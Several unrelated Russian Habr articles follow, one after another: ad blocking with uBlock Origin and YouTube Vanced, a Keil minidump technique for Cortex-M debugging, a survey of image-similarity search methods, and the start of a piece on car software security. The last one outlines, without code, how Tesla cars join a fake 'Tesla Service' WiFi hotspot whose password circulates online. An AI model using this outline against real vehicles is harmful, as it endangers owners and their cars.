В 21 веке непродуктивные методы рекламы, например, такие как 25-кадр остались в прошлом, а FUD маркетологов и адблоки киберпанков *(другие приёмы и ПО)* над манипуляцией массовым сознанием развернулись на самом близком фронте — в мировой сети Интернет.
**Windows; GNU/Linux и Android OS-ы. В этой статье, и возможно в комментах, будут изложены современные и эффективные приёмы защиты второй линии против глобальной рекламы на сегодняшний день.**
### uBlock Origin
 персональные поисковые страницы на ПК/Android.")Яндекс (мои) персональные поисковые страницы на ПК/Android.Так выглядят мои персональные страницы Яндекса. Отсутствуют/выпилены: прямая реклама; Я.Дзен; Я.Плюс; Я.Новости; телепрограмма, подвал и прочее, что нарушало мое интернет-равновесие.
Поясняю свою позицию на примере ликвидации блока: Яндекс.Новости с www.yandex.ru. Основная причина в том, что транснациональная корпорация подсовывает мне неприемлемый, новостной, политический контент *(только ли мне?)*. В Яндексе я не авторизован и мой персональный профиль менее известен Я.Маркетологам *(я не сохраняю cookies/историю и пароли в браузере, потому что серфю в браузерах Firefox и DuckDuckGo в дефолтном режиме инкогнито мимо политических интриг)*.
Пример новостной Топ-ленты в DDG-браузере на главной странице Яндекса
Пример поискового запроса в Яндексе: 'Стивен Сигал'**UPD сентябрь 2021:**
Возможно со статьей ознакомились представители Яндекса и теперь это выглядит так.Но что если?
Интересно: в каждой стране свой местный поисковик генерирует контент подобного рода или так обучился только Яндекс?
Как мне удалось персонализировать страницы сайтов, убрав лишнее? Очень просто: я использовал вместо коммерческого Adblock Plus --> киберпанковский uBlock Origin.
Многим пользователям *(в какой-то степени благодаря той же рекламе)* известен addon к браузерам Adblock Plus, который блокирует социальные и рекламные трекеры. Но у этого расширения есть конкретные изъяны:
* Adblock Plus имеет неочевидный отстрел выборочных HTML-элементов *(к сожалению блокировка рекламы осуществляется по интересам разработчиков аддона, а не юзера)*. Пользователю недоступна статистика по блокировке элементов.
* ABP - это коммерц, а это значит, что режущую рекламу фильтры/политика/код сформировываются по рыночным $-правилам.
* Для кого-то политика конфиденциальности Adblock Plus *(сбор персональных данных о пользователях)* может оказаться неприемлемой.
По поводу конфиденциальности: я когда-то отредактировал пару статей об адблоках в свободной энциклопедии, качнув чашу весов в пользу uBlock Origin. И внесенные изменения — устояли не смотря на то, что подобные статьи относятся к горячим *(см. война правок в вики)*.
Процитирую здесь "свои пункты" из Википедии, которые имеют значения:
`"""Конфиденциальность Adblock Plus`
Согласно политике конфиденциальности: Adblock Plus или Adblock Browser обрабатывает персональные данные пользователей такие как ip, операционная система, дата последнего обновления, версия браузера[[13]](https://adblockplus.org/en/privacy).
`Политики конфиденциальности uBlock и uBlock Origin различаются.`
Согласно политике конфиденциальности uBlock Origin: обработка персональных данных пользователей не осуществляется[[44]](https://github.com/gorhill/uBlock/wiki/Privacy-policy) в отличие, например, от политик конфиденциальностей [Adblock Plus](https://ru.wikipedia.org/wiki/Adblock_Plus) или uBlock[[46].](https://ublock.org/privacy/)
uBlock Origin входит в предустановленное ПО дистрибутива с повышенными требованиями к приватности и анонимности пользователей GNU/Linux [Tails](https://ru.wikipedia.org/wiki/TAILS).[[47]](https://tails.boum.org/doc/about/features/index.en.html)`"""`
uBlock Origin имеет техническую особенность, которая позволяет пользователям *частично* обходить технические средства защиты сайтов с платной подпиской. Например, пользователь хочет почитать, хотя бы комментарии к публикации на Washingtonpost, но на сайте всплывает окошко не дающее что-либо продолжить без платной подписки. Два клика и частично материалы становятся доступны для чтения *(конечно многие не знают об этом трюке, но тем не менее, ИМХО, — это пиратство и урон правообладателю, не одобряю).*
Раскрыть детали**Преимущества uBlock Origin перед Adblock Plus очевидные:**
* Кроме автоблокировки рекламы, например в Ютубе, осуществляется блокировка web-контента на выбор пользователя в касание, то есть пользовательский интерфейс в uBlock Origin — дружелюбный. Пользователь может заблочить "любой/не нравящийся контент" на любимых сайтах.
* Полноценная статистика о блокировках скриптов/рекламы.
* Дополнительные, расширенные авто-фильтры, например, adguard-фильтры.
* Отсутствие какого-либо сбора перс.данных пользователей.
**Недостатки uBlock Origin в целом:**
* Addon uBlock Origin с открытым исходным кодом, имеет высочайшую популярность на Github-е. На данный момент проект набрал 24к звёзд, но при всем этом предложить патчи или открыть проблему для рядового пользователя является затруднительным, так как разработчик uBlock Origin ограничил круг лиц к репозиторию, который мог бы предлагать исправления и улучшения. UPD: ситуация поправлена.
* Разработчики Яндекс браузера преуспели: Addon uBlock Origin цензурирован своей магией на главной странице Яндекса в Яндекс браузере.
Существует и поддерживается миф о том, что после чрезмерной блокировки рекламы адблоками страницы медленнее грузятся. Миф опровергается в любом браузере замером скорости загрузки сайта через инструменты разработчика до и после блокировок. В моем случае после блокировки 'яндекс-мусора' скорость загрузки страницы не замедлилась, а наоборот — возросла.
Скрины до и после блокировки 'яндекс-мусора'.
И последнее про плагин: при установке uBlock Origin пользователю нужно быть внимательнее, так как существует альтернативная версия ПО - **uBlock** *(которая имеет схожий логотип и название, но при этом собирает данные о пользователе)*, а сам **uBlock Origin** имеет две версии *(стандартную и для разработчиков)*, я рекомендую версию для разработчиков, различие заключается в опережающей разработке стабильного uBlock Origin.
> Это расширение — ничто. Так что, если вы действительно хотите внести свой вклад, подумайте о людях, усердно поддерживающих списки фильтров, предоставленные Вам для бесплатного использования.
>
> *Оф.цитата из uBO.*
>
>
### YouTube vanced & альтернатива
Вы обращали внимание на то, что в Telegram *(клиент приложения под Android)* ссылки на Ютуб-ролики открываются без рекламы? Фокус в том, что рекламу создает приложение YouTube, а само видео лежит глубоко по ссылке.
Пример:
<https://www.youtube.com/watch?v=zRO_KsPZJto> `#привычная пользовательская ссылка.`
<https://r4---sn-gvnuxaxjvh-n8ves.googlevideo.com/videoplayback?expire=1616171383&ei=F31UYJqLGciA8gOKm7_wAw&ip=8.8.8.8&id=o-AJuntU-XuYfFhEdh34GL-alsXySNS6KpPCZkQEAR1Qrm&itag=137&aitags=133%2C134%2C135%2C136%2C137%2C160%2C242%2C243%2C244%2C247%2C248%2C278&source=youtube&requiressl=yes&mh=sP&mm=31%2C29&mn=sn-gvnuxaxjvh-n8ves%2Csn-n8v7kn7e&ms=au%2Crdu&mv=m&mvi=4&pcm2cms=yes&pl=24&initcwndbps=1185000&vprv=1&mime=video%2Fmp4&ns=61gZCT2jccJUZOaT0KITAP8F&gir=yes&clen=51122421&dur=1351.332&lmt=1535003351967636&mt=1616149486&fvip=4&keepalive=yes&fexp=24001374%2C24007246&c=WEB&n=I9K3vXiGUFbZi4NnVC&sparams=expire%2Cei%2Cip%2Cid%2Caitags%2Csource%2Crequiressl%2Cvprv%2Cmime%2Cns%2Cgir%2Cclen%2Cdur%2Clmt&sig=AOq0QJ8wRAIgcuPYMOpTQkMQZF56dtE4udtjeisXpUE2emMgBDvWeIkCIBHGs17vGxDDYM1qK3AyPhI8IS0Lq5DP3EoSkds7qA74&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpcm2cms%2Cpl%2Cinitcwndbps&lsig=AG3C_xAwRQIhANuabfdPjT_rF1P4F9THlQwadPCmpRB9f9DqPZ3Am1aUAiBuvPsP8335FKM2GqJya3ItMOe1eGo2nYZhOpIFsVbscg%3D%3D&ratebypass=yes> `#реальная (генерированная) ссылка.`
**YouTube vanced -** это аналог приложения YouTube для OS Android, настоящая психотерапия после чрезмерной *(я даже слышал выражение „у****б****л****ю****д****с****к****о****й“)* рекламы, которая приводит в тч. и к депрессиям интернет-зависимых людей.
Приложение **YouTube vanced** полностью убирает рекламу и поддерживает некоторые, полезные, дополнительные функции: например, работа в фоне, работа в окне. Визуально - это тоже самое приложение, что и стандартный YouTube только без воспроизведения рекламы. YouTube vanced поддерживается и на стареньких гаджетах и на современных.
YouTube vanced работает и на нерутированных гаджетах. Очевидно, что упомянутое приложение вы не встретите в google play market.
Официальный сайт: <https://vancedapp.com/>
Обратите внимание, существуют поделки, например, [~~https://youtubevanced.com/~~](https://youtubevanced.com/)
Альтернативный просмотр YouTube без рекламы *(но без лайков/комментариев)*: пользователю поможет open source приложение — NewPipe из [f-droid](https://f-droid.org/packages/org.schabi.newpipe), которое позволяет еще и скачивать видеоролики или [SkyTube](https://f-droid.org/packages/free.rm.skytube.oss), т*ак же на Android можно скачивать и в CLI с помощью пакета youtubedr в Termux:*`$ youtubedr download htps://www.youtube.com/watch?v=zRO_KsPZJto`
С Android устройств можно активничать на YouTube и из обычного [FF](https://play.google.com/store/apps/details?id=org.mozilla.firefox) или [Brave](https://play.google.com/store/apps/details?id=com.brave.browser) браузеров с расширением/встроенным uBO, режущим рекламу, но на мой субъективный взгляд это не так удобно как в приложении. Однако это явно лучше, чем подвергаться 'насилию' навязчивой рекламы, особенно если пользователь пользуется видео-платформой — нечасто.
Спойлериз КФ/ Очень странные дела*Не в обиду эффективным маркетологам, зачитавшимся такими произведениями, как например, "Атлант расправил плечи", ~~презирающих и~~ обвиняющих активных противников рекламы, которые по их мнению утратили рациональное мышление в реальной виртуальности. Встает вопрос: зачем свободная и бесплатная альтернатива, существующая на донаты, если имеется монетизированный YouTube Premium? В этом нарастающем конфликте у каждого своя правда: между* ***м****а****р****к****е****т****о****л****о****г****о****р****е****к****л****а****м****и****с****т****а****м****и*** *(стремящимися собирать, хранить, делиться с целью повысить эффективность рекламы, или того хуже — обрабатывать весьма* ***личную*** *информацию о юзерах) и сопротивляющимися этому явлению —* ***п****о****л****ь****з****о****в****а****т****е****л****я****м****и.*
Согласно [соглашению](https://www.youtube.com/static?template=terms) YouTube:
> YouTube может прекратить Ваш доступ или доступ посредством Вашего аккаунта Google ко всему Сервису или его части, если сочтет, что предоставление Вам доступа к Сервису более не имеет коммерческого смысла.
>
>
Помимо навязчивой рекламы, обновленного соглашения и просто ради конкуренции развиваются децентрализованные сервисы подобные YouTube: [D.Tube](https://d.tube/); [PeerTube](https://joinpeertube.org/).
Или прочие, например, bitchute, который уже успел задеть РКН.Блокировка*Остается загадкой: почему сайт YouTube vanced всё ещё открывается в браузере Chrome, а киберпанки выходят на связь, диссиденты явно наносят урон по рекламному рынку в т.ч. Гугла и по заработку блогеров, но выручают простых пользователей.*
*p.s. Только таким способом удалось реанимировать статью из черновиков.* | https://habr.com/ru/post/562070/ | null | ru | null |
# Post-mortem отладка на Cortex-M
Post-mortem отладка на Cortex-M
===============================

Предыстория:
------------
Участвовал я недавно в разработке нетипичного для меня девайса из класса потребительской электроники. Вроде ничего сложного, коробка, которая должна иногда выходить из спящего режима, отчитываться серверу и засыпать обратно.
Практика быстро показала, что отладчик не слишком помогает при работе с микроконтроллером, который постоянно уходит в режим глубокого сна или вырубает себе питание. В основном, потому что коробка в тестовом режиме стояла без отладчика и без меня рядом и *иногда* глючила. Примерно раз в несколько суток.
На соплях был прикручен отладочный UART, в который я стал выводить логи. Стало легче, часть проблем решилась. Но потом случился assert и все завертелось.
**В моем случае макрос для ассерта выглядит как-то так:**
```
#define USER_ASSERT( statement ) \
do \
{ \
if(! (statement) ) \
{ \
DEBUG_PRINTF_ERROR( "Assertion on line %d in file %s!\n", \
__LINE__, __FILE__ ); \
\
__disable_irq(); \
while(1) \
{ \
__BKPT(0xAB); \
if(0) \
break; \
} \
} \
} while(0)
```
`__BKPT(0xAB)` — это программная точка останова; если ассерт происходит под отладкой, то отладчик просто останавливается на проблемной строчке, очень удобно.
По некоторым ассертам сразу понятно, что их вызвало – потому что в логе видно имя файла и номер строки, на котором ассерт сработал.
Но по происходившему ассерту было понятно только, что переполнился массив – точнее, самодельная обертка над массивом, которая проверяет выход за границы. Из-за этого в логе было видно только имя файла “super\_array.h” и номер строки в нем же. А какой конкретно массив – непонятно. Из окружающих логов тоже неясно.
Конечно, можно было бы просто стиснуть зубы и пойти читать свой код, но мне было лень, да и статьи бы тогда не получилось.
Поскольку я пишу в uVision Keil 5 с компилятором armcc, дальнейший код проверялся только под ним. Еще я использовал С++11, потому что уже 2019 год на дворе, пора уже.
Stacktrace
----------
Разумеется, первое, что приходит в голову – но блин, ведь когда на нормальном настольном компе происходит ассерт, в консоль выводится стектрейс, типа как на КДПВ. Из стектрейса обычно можно понять, какая последовательность вызовов привела к ошибке.
Окей, значит мне тоже нужен стектрейс. Как бы его сделать?
### Может быть, если бросить исключение, он сам выведется?
Кидаем исключение и не ловим его, видим вывод “SIGABRT” и вызов `_sys_exit`. Не прокатило, ну и ладно, не очень-то и хотелось исключения разрешать.
### Погуглить, как это другие люди делают.
Все способы платформозависимые (не слишком удивительно), для gcc под POSIX есть `backtrace()` и `execinfo.h`. Для Кейла не нашлось ничего внятного. Роняем скупую слезу. Придется лезть в стек руками.
### Лезем в стек руками
Теоретически, все довольно просто.
1. Адрес возврата из текущей функции находится в регистре LR, адрес текущей вершины стека (в смысле, последнего элемента в стеке) – в регистре SP, адрес текущей команды — в регистре РС.
2. Каким-то образом находим размер стекового кадра для текущей функции, шагаем по стеку на такое расстояние, находим там адрес возврата для предыдущей функции и повторяем так, пока не прошагаем стек до конца.
3. Как-то сопоставляем адреса возвратов с номерами строк в файлах с исходным кодом.
#### Окей, для начала – как узнать размер стекового кадра?
На опциях по-умолчанию – судя по всему, никак, он просто хардкодится компилятором в «пролог» и «эпилог» каждой функции, в команды, которые выделяют и освобождают кусок стека под кадр.
Но, к счастью, у armcc есть опция `--use_frame_pointer`, которая выделяет регистр R11 под Frame Pointer – т.е. указатель на стековый кадр предыдущей функции. Отлично, теперь можно будет прошагать по всем стековым кадрам.
#### Теперь – как сопоставить адреса возвратов со строками в файлах с исходниками?
Черт, опять никак. Отладочная информация в микроконтроллер не прошивается (что неудивительно, ибо она занимает порядочно места). Можно ли Кейл все же заставить ее туда прошиваться я не знаю, найти не смог.
Вздыхаем. Значит, честный стектрейс – такой, чтобы в отладочный вывод сразу выводились имена функций и номера строк – не выйдет. Но можно выводить адреса, а потом на компе их сопоставлять с функциями и номерами строк, благо отладочная инфа в проекте все-таки есть.
Но это выглядит очень печально, потому что придется парсить .map-файл, в котором указаны диапазоны адресов, которые занимает каждая функция. А потом еще отдельно парсить файлы с дизассемблированным кодом, чтобы найти конкретную строчку. Резко возникает желание забить.
Плюс внимательное разглядывание документации на опцию `--use_frame_pointer` позволяет увидеть [вот эту страницу](http://www.keil.com/support/docs/4133.htm), которая говорит, что эта опция может привести к падениям в HardFault в случайные моменты времени. Мда.
Ладно, думаем дальше.
### А как это делает отладчик?
А ведь отладчик как-то показывает стек вызовов даже без `frame pointer’a`. Ну, понятно, как, у IDE ведь под рукой есть вся отладочная инфа, ей не составляет труда сопоставить адреса и имена функций. Хм.
При этом у той же Visual Studio есть такая штука – minidump – когда падающее приложение генерирует маленький файлик, который потом скармливаешь студии и она восстанавливает состояние приложения на момент падения. И можно все переменные рассмотреть, по стеку погулять с комфортом. Хм еще раз.
А ведь это вроде как довольно просто. Надо всего лишь ~~каждый день втирать в ягодицы густой советский продолжение по ссылке~~ заполнить стек значениями, которые были там в момент падения и, видимо, восстановить состояние регистров. Да и все, вроде бы?
Опять же, разбиваем эту идею на подзадачи.
1. На микроконтроллере нужно пройти по стеку, для этого нужно получить текущее значение SP и адрес начала стека.
2. На микроконтроллере нужно вывести значения регистров.
3. В IDE нужно как-то затолкать все значения из «минидампа» обратно в стек. И значения регистров тоже.
#### Как получить текущее значение SP?
Желательно, не марая рук об ассемблер. В Кейле, к счастью, есть специальная функция (intrinsic) — `__current_sp()`. В gcc не сработает, но мне и не надо.
Как получить адрес начала стека? Поскольку я пользуюсь своим скриптом для защиты от переполнения (про который я писал [здесь](https://habr.com/en/post/425071/) ), стек у меня лежит в отдельной линкерной секции, которую я называл `REGION_STACK`.
Значит, его адрес начала можно узнать у линкера, с помощью [странных переменных с долларами в названиях](http://www.keil.com/support/man/docs/armlink/armlink_pge1362065953229.htm).
Методом проб и ошибок подбираем нужное имя — `Image$$REGION_STACK$$ZI$$Limit`, проверяем, работает.
**Пояснение**Это волшебный символ, который создается на этапе линковки, поэтому строго говоря, он не является константой этапа компиляции.
Чтобы им воспользоваться, нужно разыменование:
```
extern unsigned int Image$$REGION_STACK$$ZI$$Limit;
using MemPointer = const uint32_t *;
// чтобы получить значение, нужно разыменование
static const auto stack_upper_address = (MemPointer) &(
Image$$REGION_STACK$$ZI$$Limit );
```
Если так заморачиваться не хочется, то размер стека можно просто захардкодить, благо меняется он довольно редко. В худшем случае, увидим в окне стека вызовов не все вызовы, а огрызок.
#### Как вывести значения регистров?
Сперва я подумал, что нужно выводить вообще все регистры общего назначения, начал мутить мутки с ассемблером, но быстро понял, что толку от этого не будет. Ведь вывод минидампа у меня будет делать специальная функция, толку от значений регистров в ее контексте никакого.
Действительно нужны только Link Register (LR), который хранит адрес возврата из текущей функции, SP, с которым мы уже разобрались и Program Counter (PC), который хранит адрес текущей команды.
Опять же, я не смог найти варианта, который работал бы с любым компилятором, но для Кейла снова есть intrinsic-функции: `__return_address()` для LR и `__current_pc()` для РС.
Отлично. Осталось затолкать все значения из минидампа обратно в стек, а значения регистров – в регистры.
#### Как загрузить "минидамп" в память?
Сначала я планировал воспользоваться командой отладчика LOAD, которая позволяет загружать значения из .hex или .bin-файла в память, но быстро выяснил, что LOAD почему-то не загружает значения в RAM.
И регистры я бы этой командой заполнить все равно бы не смог.
Ну и ладно, это все равно потребовало бы слишком много телодвижений, конвертить текст в bin, конвертить bin в hex...
К счастью, у Кейла есть симулятор, а для симулятора можно писать скрипты на некоем убогом С-подобном языке. И в этом языке есть возможность писать в память! Для этого есть специальные функции типа `_WDWORD` и `_WBYTE`. Собираем все идеи в кучу, и получаем вот такой код.
**Весь код:**
```
#define USER_ASSERT( statement ) \
do \
{ \
if(! (statement) ) \
{ \
DEBUG_PRINTF_ERROR( "Assertion on line %d in file %s!\n", \
__LINE__, __FILE__ ); \
\
print_minidump(); \
__disable_irq(); \
while(1) \
{ \
__BKPT(0xAB); \
if(0) \
break; \
} \
} \
} while(0)
// это специальный символ, который генерирует линкер
// это размер стека, регион для которого я сам так назвал в scatter-файле
extern unsigned int Image$$REGION_STACK$$ZI$$Limit;
void print_minidump()
{
// если компилятор - armcc или arm-clang
#if __CC_ARM || ( (__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050))
using MemPointer = const uint32_t *;
// чтобы получить значение, нужно разыменование
static const auto stack_upper_address = (MemPointer) &(Image$$REGION_STACK$$ZI$$Limit );
// стек растет в сторону уменьшения адресов, т.е. в данный момент заполнен кусок
// между SP и stack_upper_address
auto LR = __return_address();
auto PC = __current_pc();
auto SP = __current_sp();
auto i = 0;
DEBUG_PRINTF("\nCopy the following function for simulator to .ini-file, \n"
"start fresh debug session in simulator and call __load_minidump() from command window.\n"
"You should be able to see the call stack in CallStack window\n\n");
DEBUG_PRINTF("func void __load_minidump() {\n ");
for( MemPointer stack = (MemPointer)SP; stack <= stack_upper_address; stack++ )
{
DEBUG_PRINTF("_WDWORD (0x%p, 0x%08x); ", stack, *stack );
// лень выдумывать нормальный способ выводить красивый столбик текста
if( i == 1 )
{
DEBUG_PRINTF("\n ");
i=0;
}
else
{
i++;
}
}
DEBUG_PRINTF("\n LR = 0x%08x;", LR );
DEBUG_PRINTF("\n PC = 0x%08x;", PC );
DEBUG_PRINTF("\n SP = 0x%08x;", SP );
DEBUG_PRINTF("\n}\n");
#endif
}
```
Для загрузки минидампа нам нужно создать .ini-файл, скопировать в него функцию `__load_minidump`, добавить этот файл в автозапуск – `Project -> Options for Target -> Debug` и на разделе Use Simulator прописать этот .ini-файл в графе “Initialization file”.
Теперь просто заходим в отладку на симуляторе и, не запуская отладку, вызываем в окне команд функцию `__load_minidump()`.
И вуаля, нас телепортирует в функцию `print_minidump` на строку, в которой сохранился РС. А в окне Callstack+Locals видно стек вызовов.
**Примечание:**Функция специально названа с двумя подчеркиваниями в начале, потому что если название функции или переменной в симуляторном скрипте случайно совпадет с названием в коде проекта, то Кейл не сможет ее вызвать. Стандарт С++ запрещает использовать имена с двумя подчеркиваниями в начале, поэтому вероятность совпадения имен снижается.
В принципе, это все. Насколько я смог проверить, минидамп работает и для обычных функций и для обработчиков прерываний. Будет ли он работать для всяких извращений с `setjmp/longjmp` или `alloca` – не знаю, поскольку извращения не практикую.
Тем, что получилось, я вполне доволен; кода мало, из накладных расходов — слегка распух макрос для ассерта. При этом вся скучная работа по разбору стека легла на плечи IDE, где ей самое место.
Потом я еще немного погуглил и нашел похожую штуку для gcc и gdb – [CrashCatcher](https://github.com/adamgreen/CrashCatcher).
Я понимаю, что ничего нового не изобрел, но найти готовый рецепт, приводящий к аналогичному результату, мне не удалось. Буду признателен, если мне подскажут, что можно было сделать лучше. | https://habr.com/ru/post/452704/ | null | ru | null |
# Поиск изображений
Пытаясь реализовать обратный поиск изображений для своего сайта, я столкнулся с огромным миром поиска изображений. Ниже приведены краткие описания и варианты применения некоторых подходов обратного поиска/поиска похожих изображений.
Вода, камни, небо[Используемый датасет](https://www.kaggle.com/arnaud58/landscape-pictures)
Perceptual hash
---------------
[[Colab](https://colab.research.google.com/drive/1ioAfqaBqkFzotcut8W8AC861eAzeQK_3?usp=sharing)]
[Детальное описание работы phash](https://habr.com/ru/post/237307/)
Из изображений мы создаем хеши заданной длины. Чем меньше [расстояние Хэмминга](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%A5%D1%8D%D0%BC%D0%BC%D0%B8%D0%BD%D0%B3%D0%B0) между двумя хешами, тем больше схожесть изображений.
Наивный способ поиска - линейный поиск. Сравниваем хеш целевого изображения с хешами всех изображений и возвращаем N изображений с наименьшим расстоянием Хэмминга (либо отсекаем по какому-нибудь threshold'у).
Можно ли быстрее? Можно! Используя структуру данных [Vantage-point tree](https://en.wikipedia.org/wiki/Vantage-point_tree), можно построить дерево за O(n log n) и осуществлять поиск за O(log n).
Немного о производительностиВнимательные читатели, которые просмотрели ноутбук, могли заметить, что скорость vantage-point tree либо наравне, либо медленнее простого цикла for. В ноутбуке есть закомментированный блок кода, который позволяет сгенерировать массив длиной 100к строк. Этот массив можно подставить вместо массива хешей и убедится, что с увеличением количества строк... ничего не меняется, vptree все так же проигрывает. В чем же дело? А дело в том, что если вы начнете искать реализацию vantage point tree в PyPI, то найдете лишь 1 пакет - vptree. Он работает довольно плохо, из-за чего прироста производительности нет. Я нашел реализацию vp-tree на javascript и написал небольшой тест производительности. for-loop перестает быть быстрее, чем vptree после 10к строк и дальше отрыв только увеличивается. Кто-то может сказать, что для получения top N элементов, весь массив сортировать необязательно. Согласен, но vp-tree быстрее, даже если мы не проводим сортировку массива вовсе. [Ссылка на gist](https://gist.github.com/qwertyforce/025b859707f869d09a42826f5b4c1723)
Интересный факт - я не смог найти реализацию vp-tree, где есть функция добавления новых данных в дерево. Перестраивать дерево каждый раз, когда у вас появляется новый хеш может быть очень затратно. Если вы сможете найти/написать быструю реализацию vp-tree c возможностью добавления/удаления строк, напишите мне и я обновлю ноутбук/статью.
В нашем датасете оказалось 2 дубликата первого изображенияПлюсы
* Хеш имеет малый размер
* Быстро вычисляется
* Быстро ищется
* Устойчив к ресайзу
Минусы
* Не устойчив к кропу
* Не устойчив к поворотам
* Не усточив к {transformation\_name}
Одна из самых частых трансформаций изображения - это кроп. Решение - создавать несколько хешей на одно изображение, хешируя "интересные" места.
<https://habr.com/ru/post/205398/>
<https://habr.com/ru/post/211773/>
Вывод: phash отлично подходит для дедупликации, поиска оригиналов изображений по их preview/thumbnail. Не устойчив к кропу.
RGB Histogram
-------------
[[Colab](https://colab.research.google.com/drive/1ZKRUlq54Wwt3nQNNrLOd-mb6MGZ2QT8i?usp=sharing)]
RGB гистограммаГенерируем RGB гистограммы, сравниваем гистограммы, если гистограммы похожи, то изображения схожи по цвету.
Наивный способ поиска: сравнить гистограмму целевого изображения с гистограммами всех изображений. Отсортировать по схожести, вернуть изображения с наиболее схожими гистограммами.
")Линейный поиск. Сравниваем гистограммы методом cv2.HISTCMP\_INTERSECT (53ms)После применение операции flatten, можно заметить, что гистограмма превращается в вектор из 4096 значений.
Попробуем применить k-nearest neighbor search, в качестве метрики выберем [евклидово расстояние](https://ru.wikipedia.org/wiki/%D0%95%D0%B2%D0%BA%D0%BB%D0%B8%D0%B4%D0%BE%D0%B2%D0%B0_%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D0%BA%D0%B0).
 и hnsw(0.4ms) выдают одинаковые изображения")Bruteforce knn (73ms) и hnsw(0.4ms) выдают одинаковые изображенияРезультат неплохой. Попробуем применить approximate nearest neighbor search. Используем библиотеку [hnswlib](https://github.com/nmslib/hnswlib), которая реализует структуру данных под названием Hierarchical Navigable Small World. Теперь поиск занимает не 50-70ms, а всего лишь 0.4ms.
Новые данные можно добавлять в индекс без его полной перестройки.
Больше про approximate nearest neighbor search - <https://habr.com/ru/company/mailru/blog/338360/>
Плюсы
* Устойчив к трансформациям, не сильно меняющим гистограмму изображения
* Более устойчив к кропу, чем phash
Минусы
* Большой вес (Для 16 бинов RGB гистограммы вектор имеет размер 4096)
* Учитывает только цвета, не учитывает геометрию
SIFT/SURF/ORB
-------------
[[SIFT Colab](https://colab.research.google.com/drive/1leOzG-AQw5MkzgA4qNW5fb3yc-oJ4Lo4?usp=sharing)]
[Подробнее про SIFT](https://habr.com/ru/post/106302/).
Можно использовать более быстрые алгоритмы, например [SURF](https://en.wikipedia.org/wiki/Speeded_up_robust_features) или [ORB](https://en.wikipedia.org/wiki/Oriented_FAST_and_rotated_BRIEF). Мы будем использовать модификацию SIFT - [Root SIFT](https://www.robots.ox.ac.uk/~vgg/publications/2012/Arandjelovic12/arandjelovic12.pdf).
Суть модификации:
```
descs /= (descs.sum(axis=1, keepdims=True) + eps)
descs = np.sqrt(descs)
```
Вот таким нехитрым способом точность SIFT повышается на ~5 процентов.
План действий: генерируем SIFT features, применяем Brute-Force Matcher(cv2.BFMatcher), сортируем изображения по среднему расстоянию хороших matches.
")Поиск кропов (30s)Плюсы:
* SIFT инвариантен пропорциональному масштабированию, ориентации, изменению освещённости и частично инвариантен аффинным искажениям
Минусы:
* Занимает много места
* Медленно вычисляется
* Медленно ищется (Есть методы значительно ускоряющие поиск, но я не нашел понятного примера на python)
NN features
-----------
[[Colab ResNet50](https://colab.research.google.com/drive/1cASnOmR8wUtK4rRoiQJ0NrEiGy1unuMr?usp=sharing)] [[Colab CLIP](https://colab.research.google.com/drive/1DeT11AwvxmHhP4xe4q9tHi0YNk9J5cHm?usp=sharing)]
В процессе своего обучения нейросети решающие задачу классификации изображений становятся способны сжимать изображения до достаточно маленьких векторов. Вектора похожих изображений находятся близко друг к другу. Длина вектора в ResNet50 - 2048. "Открутим" полносвязный классифицирующий слой от ResNet50, сгенерируем векторы всех наших изображений и с помощью knn найдем наиболее близкие к целевому изображению. Используем евклидово расстояние в качестве метрики.
```
model = ResNet50(weights='imagenet', include_top=False,input_shape=(224, 224, 3),pooling='max')
```
Изображение по которому ищем")Водопады (ResNet50)")Поиск сильно пикселизированного изображения (ResNet50)")Поиск по кропу (ResNet50)Попробуем использовать другую нейросеть - CLIP. В ней нет классифицирующего слоя, просто используем метод encode\_image и получаем вектор длинной 512.
")Водопады (CLIP)")Поиск сильно пикселизированного изображения (CLIP)")Поиск по кропу (CLIP)CLIP справляется c поиском немного хуже, возможно из-за того, что его функция препроцессинга сжимает изображение до 224 с сохранением aspect ratio, а затем берет Center Crop, т.е не все детали могут попасть в кадр.
Визуализируем полученные вектора. Для этого используем алгоритм t-SNE.
t-SNE ResNet50 (10100x10100 7.91MB)t-SNE CLIP (10100x10100 7.04MB)Features которые генерирует CLIP более точно группируют похожие изображения. На визуализации векторов можно увидеть, что CLIP группирует вместе изображения, которые схожи не только визуально, но и по смыслу.
Плюсы:
* Хорошо справляется с большинством трансформаций
* Быстро ищется благодаря approximate nearest neighbor search
Минусы:
* Для быстрого вычисления features нужен GPU
CLIP text search
----------------
[[Colab CLIP](https://colab.research.google.com/drive/1DeT11AwvxmHhP4xe4q9tHi0YNk9J5cHm#scrollTo=QU_QpRBrolA3&line=4&uniqifier=1)]
Подробнее про [CLIP](https://github.com/openai/CLIP):
* <https://habr.com/ru/post/539312/>
* <https://habr.com/ru/post/540312/>
CLIP способен генерировать вектор из текстового запроса, причем этот вектор будет близок к векторам изображений, которые описываются в запросе. В наш knn search мы можем передать не features изображения, а features текстового запроса. Магия.
```
text_tokenized = clip.tokenize(["a picture of a windows xp wallpaper"]).to(device)
with torch.no_grad():
text_features = model.encode_text(text_tokenized)
text_features /= text_features.norm(dim=-1, keepdim=True)
```
"a picture of a sunset near the sea""a picture of a fog near the mountains""a picture of a windows xp wallpaper"[Github со всеми ноутбуками](https://github.com/qwertyforce/image_search) | https://habr.com/ru/post/550528/ | null | ru | null |
# Программные патчи для автомобилей станут обязательными и регулярными

*Автомобиль Tesla Model 3 взломали с мультикоптера (для зрелищности), [источник](https://electrek.co/2021/05/13/tesla-car-hacked-using-drone-patch/)*
Автомобили Tesla по умолчанию подключаются к любой точке WiFi с идентификатором SSID `Tesla Service`. Это очень удобно для взлома. Пароль указан в файле .ssq, который поставляется с автомобилем, или его можно найти в интернете (см. скриншот под катом).
Таким образом, можно подключить автомобиль к своему фейковому хотспоту. Потом использовать уязвимости в программном обеспечении — и получить контроль над некоторыми функциями. По сути, всё довольно просто: такие трюки показывают на каждой хакерской конференции.
Проблема в том, что критические уязвимости есть не только в теслах, а **практически во всех современных автомобилях**. Просто Tesla предлагает большие призы за информацию о багах, поэтому эта информация публикуется в СМИ. Остальные автомобили взламывают молча.
Взлом Tesla
===========

*Профиль в твиттере с паролем для вайфая Tesla Service*
